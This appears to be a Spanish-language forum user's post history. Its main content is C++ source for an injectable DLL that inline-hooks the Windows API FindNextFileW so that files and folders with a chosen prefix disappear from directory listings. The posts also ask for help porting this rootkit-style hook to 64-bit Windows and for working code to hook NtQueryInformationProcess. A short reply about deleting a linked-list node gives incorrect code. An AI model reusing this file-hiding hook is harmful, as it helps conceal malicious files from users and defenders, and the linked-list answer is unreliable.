|
Mostrar Mensajes
|
Páginas: 1 [2]
|
11
|
Programación / Programación C/C++ / Re: Borrar ultimo nodo lista simplemente enlazada
|
en: 22 Marzo 2017, 21:53 pm
|
Alguien me puede ayudar a borrar el ultimo nodo en mi lista simplemente enlazada, se lo agradecería mucho void FLORES::borrar_nodo(){// El problema XD auxiliar=auxiliar->liga; delete nuevo; auxiliar->liga=NULL; }
void FLORES::borrar_nodo(){// El problema XD primero = NULL; // restablecer var }
Este code restablece la variable a 0, espero que te sirva, SALUDOS!.
|
|
|
13
|
Seguridad Informática / Hacking / Re: Monitorizar equipos. Visualizar pantalla
|
en: 22 Marzo 2017, 19:32 pm
|
Muchas gracias warcry
Ahora solo necesito que me recomendeis un programa jejej
Utiliza LogMeIn , tienes una licencia gratuita y una licencia de pago. LogMeIn es para administración remota, lo instalas alas computadoras que quieres ver, y ya. hay mucha info en san google, SALUDOS!
|
|
|
14
|
Programación / Programación C/C++ / Re: [AYUDA] DLL
|
en: 22 Marzo 2017, 02:35 am
|
Es porque estás manejando direcciones de memorias con int(32 bits) en un código que debería estar para __int6464(64 bits)....
Una recomendación de buena práctica, siempre que manejes direcciones de memoria nunca la reinterpretes o las definas con "signo" (signed int en este caso), manejando sin signo ("unsigned tipo") vas a poder evitar este tipo de advertencias...
Respecto a la longitud del hook, recomiendo tomar algún depurador como x64dbg y probar a mano el/los opcode/s y la cantidad de bytes necesarios para hacer el salto para hookear...
B#
BloodSharp gracias nuevamente por ayudarme, estoy recien empezando en las apis pero vamos que ya entendere como funcionan, mira hice lo que me dijiste y encontre la funcion que quiero hookear, hay veo 6 bytes , corrigeme si me equivoco, aqui la imagen: http://imgur.com/a/qemjlMi pregunta es ¿en donde hago el salto? para poder colocar mi hook. y cuantos bytes estaria ocupando en la memoria la funcion FindNextFileW, y sesupone que necesito 5 bytes más para poder colocar el salto hay, Gracias nuevamente por ayudarme , SALUDOS!.
|
|
|
15
|
Programación / Programación C/C++ / Re: [AYUDA] DLL
|
en: 21 Marzo 2017, 23:29 pm
|
Normalmente los compiladores suelen tomar el int como 32 bits. Cambia int por __int64, que es la nomenclatura que usa tu compilador, deberían desaparecer los problemas.
Gracias por responder , y si exactamente ese era el problema pero ya lo había solucionado , de todos modos muchas gracias. Ahora me falta solucionar el salto del hook, tú sabes algo de eso? Saludos. y Muchas gracias.
|
|
|
16
|
Programación / Programación C/C++ / Re: [AYUDA] DLL
|
en: 21 Marzo 2017, 22:15 pm
|
#include "stdafx.h" #include <windows.h> #include <iostream> // DECLARACIONES: BYTE *BufferFN; // Buffer que usaremos para ejecutar el api original FindNextFileW char Prefijo[] = "Arquivo_"; // El prefijo que buscaremos para ocultar archivos/carpetas // FUNCIONES: void Hookear(); // Función que hookeará el api // Función que será llamada en vez de FindNextFileW HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData); // Puntero a función con el cual llamaremos al api FindNextFileW original HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData); // FUNCIÓN MAIN bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { // Si cargan la DLL hookeamos if (fdwReason == DLL_PROCESS_ATTACH) { Hookear(); } return TRUE; } // FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData) { // Ocultamos los archivos que empiecen por el prefijo indicado HANDLE hand; char ascStr[611]; do { hand = pBuffFN(hFindFile,lpFindFileData); WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL); }while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL); return hand; } // FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW void Hookear() { DWORD ProteVieja; // Parametro para VirtualProtect BYTE *DirFN; // La dirección en memoria de FindNextFileW BYTE *DirYoFN; // La dirección en memoria de la función que remplaza a FindNextFileW // --> HOOKEAMOS FINDNEXTFILEW (7 bytes) // Obtenemos la dirección en memoria de FindNextFileW. DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW"); //Reservamos 12 bytes de memoria para nuestro Buffer //FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D BufferFN=(BYTE *) malloc (12); //Le damos todos los permisos a los 12 bytes de nuestro Buffer VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja); // Copiamos los 7 primeros bytes del api en el buffer memcpy(BufferFN,DirFN,7); BufferFN += 7; // En los 5 bytes restantes... // En el primero introducimos un jmp *BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp BufferFN++; // En los otros 4 la distancia del salto *((signed int *) BufferFN)= DirFN - BufferFN + 3; // ----> ERROR LINEA 85 // Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8); // Le damos todos los permisos a los 5 primeros bytes de la api original VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja); // Cambiamos el tipo a puntero a byte para facilitar el trabajo DirYoFN=(BYTE *) miFindNextFileW; // En el inicio de la api metemos un jmp para que salte a miFindNextFileW *DirFN=0xE9; DirFN++; // Metemos la distancia del salto *((signed int *) DirFN)=DirYoFN - DirFN - 4; // ERROR -> LINEA 102 // Libermos librerias de cache FlushInstructionCache(GetCurrentProcess(),NULL,NULL); }
acabo de compilar el codigo x64 bits y me lanza 2 errores; // En los otros 4 la distancia del salto *((signed int *) BufferFN)= DirFN - BufferFN + 3; // ----> ERROR LINEA 85 // Metemos la distancia del salto *((signed int *) DirFN)=DirYoFN - DirFN - 4; // ERROR -> LINEA 102
1>..\..\..\..\..\Desktop\arquivos\DLL.cpp(85): warning C4244: '=' : conversión de '__int64' a 'int'; posible pérdida de datos 1>..\..\..\..\..\Desktop\arquivos\DLL.cpp(102): warning C4244: '=' : conversión de '__int64' a 'int'; posible pérdida de datos Alguien sabe porque pasa eso? COMPILADO EN VISUAL STUDIO 2012 x64 bits -> Windows 10
|
|
|
17
|
Programación / Programación C/C++ / Re: [AYUDA] DLL
|
en: 21 Marzo 2017, 20:48 pm
|
Cuidado donde inyectás la dll, si el proceso es de 64 bits y la dll de 32 bits no funcionará de entrada... Aún así, si pudieras inyectarla recompilandola para 64 bits necesitarías arreglar el salto del hook debido a que las instrucciones de 64 bits tienen distinta longitud...
B#
Hola BloodSharp Gracias por responder, resulta que estoy recién empezando en este tema de las apis, me podrias ayudar un poco más , para llegar a solucionar el salto del hook. y desde luego muchas gracias SALUDOS.
|
|
|
18
|
Programación / Programación C/C++ / [AYUDA] DLL
|
en: 21 Marzo 2017, 19:05 pm
|
Tengo un problema la dll no se inyecta lo probable es que sea porque estoy utilizando windows 10 x64 bits , ya que esta dll fue compilada para windows XP, alguien que me pueda echar una mano para pasarla a windows 10 Porfavor. // ------------------------ DLL API HOOK EN -> FindNextFileW Y FindFirstFileW --------------------------- #include "stdafx.h" #include <windows.h> #include <iostream> // DECLARACIONES: BYTE *BufferFN; // Buffer que usaremos para ejecutar el api original FindNextFileW char Prefijo[] = "Archivo"; // El prefijo que buscaremos para ocultar archivos/carpetas // FUNCIONES: void Hookear(); // Función que hookeará el api // Función que será llamada en vez de FindNextFileW HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData); // Puntero a función con el cual llamaremos al api FindNextFileW original HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData); // FUNCIÓN MAIN bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { // Si cargan la DLL hookeamos if (fdwReason == DLL_PROCESS_ATTACH) { Hookear(); } return TRUE; } // FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL API FINDNEXTFILEW HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData) { // Ocultamos los archivos que empiecen por el prefijo indicado HANDLE hand; char ascStr[611]; do { hand = pBuffFN(hFindFile,lpFindFileData); WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL); }while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL); return hand; } // FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW void Hookear() { DWORD ProteVieja; // Parametro para VirtualProtect BYTE *DirFN; // La dirección en memoria de FindNextFileW BYTE *DirYoFN; // La dirección en memoria de la función que remplaza a FindNextFileW // --> HOOKEAMOS FINDNEXTFILEW (7 bytes) // Obtenemos la dirección en memoria de FindNextFileW. DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW"); //Reservamos 12 bytes de memoria para nuestro Buffer //FindNextFileW ocupa 7 bytes en la memoria, y necesitamos 5 más para poner nuestro salto alli estan los 12 bytes :D BufferFN=(BYTE *) malloc (12); //Le damos todos los permisos a los 12 bytes de nuestro Buffer VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE, &ProteVieja); // Copiamos los 7 primeros bytes del api en el buffer memcpy(BufferFN,DirFN,7); BufferFN += 7; // En los 5 bytes restantes... // En el primero introducimos un jmp *BufferFN=0xE9; //0xE9 es el codigo de operacion del jmp BufferFN++; // En los otros 4 la distancia del salto *((signed int *) BufferFN)= DirFN - BufferFN + 3; // Asignamos al puntero, la funcion pBuff del inicio del Buffer para poder ejecutar el api original pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW)) (BufferFN-8); // Le damos todos los permisos a los 5 primeros bytes de la api original VirtualProtect((void *) DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja); // Cambiamos el tipo a puntero a byte para facilitar el trabajo DirYoFN=(BYTE *) miFindNextFileW; // En el inicio de la api metemos un jmp para que salte a miFindNextFileW *DirFN=0xE9; DirFN++; // Metemos la distancia del salto *((signed int *) DirFN)=DirYoFN - DirFN - 4; // Libermos librerias de cache FlushInstructionCache(GetCurrentProcess(),NULL,NULL); }
|
|
|
19
|
Programación / Programación C/C++ / AYUDA! API HOOK C++
|
en: 20 Marzo 2017, 20:09 pm
|
Hola gracias por entrar ami tema, necesito ayuda para poder enganchar la API NtQueryInformationProcess para listar los procesos , alguien me podria pasar un codigo funcional para poder estudiarlo? , e encontrado codigos pero son muy complejos y dificil de entender y muchos no funcionan , espero que me puedan ayudar, GRACIAS. C++
|
|
|
|
|
|
|